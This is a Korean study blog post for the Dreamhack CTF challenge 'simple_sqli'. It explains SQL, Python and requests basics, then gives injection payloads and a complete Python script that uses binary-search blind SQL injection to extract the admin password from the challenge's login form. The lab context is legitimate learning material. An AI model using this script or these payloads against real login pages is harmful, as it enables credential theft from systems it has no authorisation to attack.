외로운 Nova의 작업실

dreamhack 웹해킹 - 6(Blind SQL injection) 본문

Web Penetesting/Web Vulnerability

dreamhack 웹해킹 - 6(Blind SQL injection)

Nova_ 2022. 12. 9. 16:28

안녕하세요 이번 시간에는 dreamhack 문제 simple_sqli에 대한 기본적인 기초지식을 정리하려고합니다. 풀이의 경우 lecture에서 준 코드를 복사하고조금 수정해서 실행하면 풀어지기 때문에 풀이는 따로 하지 않겠습니다.

 

Blind SQL injection : sql injection으로 타겟의 비밀번호를 알아내지 못할때, 스무고개하듯이 하나씩 찾아내는 기법

sql 문법

데이터베이스 만들기
create database users;

데이터베이스 사용하기
use users;

테이블 만들기
create table users(
userid VARCHAR(50) not null,
userpassword VARCHAR(50) not null)


테이블에 값 추가하기
insert into users (userid, userpassword) values ("admin", "strawberry")
insert into users (userid, userpassword) values ("guest", "guest");


테이블에서 유저아이디와 패스워드 맞는 것 고르기
select * from users where userid = " " and userpassword = " "

테이블에서 userpassword의 길이 얻어오기 -> userpassword가 strawberry라면 10이 반환
select length(userpassword) where userid = "admin"

테이블에서 userpassword의 첫번째 글자 값 얻어오기 -> userpassword가 strawberry라면 s반환
select substr(userpassword, 1, 1) where userid = "admin"

테이블에서 admin password의 길이 비교를 서브쿼리로 진행하여
그 테이블 안에서 모든 값들 불러오기 
select * from users  where userid = "" or ((select length(userpassword) 
	where userid = "admin") > 3 ) -- userpassword = "hi"

테이블에서 서브쿼리를 이용해 userpassword의 첫번째 값이 아스키코드 72의 문자보다 
작은경우를 가지고 서브테이블을 만들고 그 서브테이블에서 모든 결과 얻어오기
괄호에 있는 서브 쿼리먼저 실행후 그 테이블 안에서 다시 select 구문 실행함
select * from users  where userid = "" or ((SELECT SUBSTR(userpassword,1,1) 
	WHERE userid="admin") < CHAR(72))
    
유니온: 두개의 테이블 값을 합치는 것
SELECT ID, NAME FROM TABLE1 UNION SELECT ID, NAME FROM TABLE2

 

- 파이썬 문법 기초

<함수 정의>

class Add:

	def add(self, arg1 : int, arg2 : int) -> int :
		sum = arg1 + arg2
    	return sum

첫번째 인자로 self를 넣으면 인스턴스에서 add를 불러낼 수 있습니다. 만약 self를 넣지않는다면 인스턴스에서 add메서드를 호출 할 수 없고 클래스를 통해 호출해야합니다. -> int 구문은 함수의 반환값을 int로 준다는 뜻입니다.

 

<if __name__ == "__main__" 구문>

if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

__name__은 내장변수로 만약 해당 파일을 실행한다면 __name__에는 __main__이 들어갑니다. 모듈로서 가져오는 것이라면 __name__에는 사용자가 정해준 모듈 이름이 들어갑니다. 예를들어 add.py를 실행했다면 add.py의 __name__은 __main__이 들어가며 sum.py가 add.py를 불러서 실행되었다면 add.py의 __name__에는 __add__가 들어갑니다. 이를 통해 실제 실행했을때만 구동되는 코드를 심어놓을 수 있습니다.

 

<포맷스트링 구문>

print("구구단 {0} * {1} = {2}".format(1,2,2))

위 출력값은 구구단 1 * 2 = 2 가 됩니다.

print("구구단 {first} * {second} = {third}".format(first=1,second=2,third=2))

위 출력값은 구구단 1 * 2 = 2 가 됩니다. 위처럼 {변수명}을 통해서 format 메서드로 값 변경이 가능합니다. 

first = 1
second = 2
third = 2
print(f"구구단 {first} * {second} = {third}")

위 출력값은 구구단 1 * 2 = 2 가 됩니다. 이처럼 문자열 앞에 f는 변수명에 맞는 값을 처리해서 문자열을 만들어줍니다. 만약 문자열에 {}을 남기고싶다면 {{var}}을 사용하면됩니다.

 

- 파이썬 requests 모듈 기초

<패키지 설치>

pip install requests

<메서드>

GET 방식: requests.get()
POST 방식: requests.post()
PUT 방식: requests.put()
DELETE 방식: requests.delete()

 

<응답상태>

응답상태는 객체의 status_code 속성으로 간단하게 얻을 수 있습니다.

>>> response = requests.get("https://jsonplaceholder.typicode.com/users/1")
>>> response.status_code
200
>>> response = requests.get("https://jsonplaceholder.typicode.com/users/100")
>>> response.status_code
404
>>> response = requests.post("https://jsonplaceholder.typicode.com/users")
>>> response.status_code
201

 

<응답 내용>

응답 내용(HTML파일)은 content 속성과 text 속성으로 볼 수 있습니다. 다만 content 속성은 바이너리 형태고 text는 UTF-8로 인코딩된 상태므로 text로 보는 것이 좋습니다. 

>>> response.text

 

<get 방식 요청 쿼리>

get 방식은 param 옵션을 사용하면 쿼리스트링을 사전의 형태로 넘길 수 있습니다.

>>> response = requests.get("https://jsonplaceholder.typicode.com/posts", params={"userId": "1"}

 

<post 방식 요청 쿼리>

post 방식은 data 옵션을 사용하면 form 포맷의 데이터를 전송할 수 있습니다. 사전의 형태로 넘깁니다.

>>> requests.post("https://jsonplaceholder.typicode.com/users", data={'name': 'Test User'})

 

- 패스워드 길이 및 blind sql injection 실행 구문

import requests
import sys
from urllib.parse import urljoin
class Solver:
    """Solver for simple_SQLi challenge"""
    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host3.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")
    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        resp = requests.post(self._login_url, data=login_data)
        return resp
    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f"\" or {query}-- ", "hi")
        return resp
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low+high) // 2
            if low+1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid
    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len
    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ''
        for idx in range(1, pw_len+1):
            query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))"
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
            print(f"{idx}. {pw}")
        return pw
    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()
Comments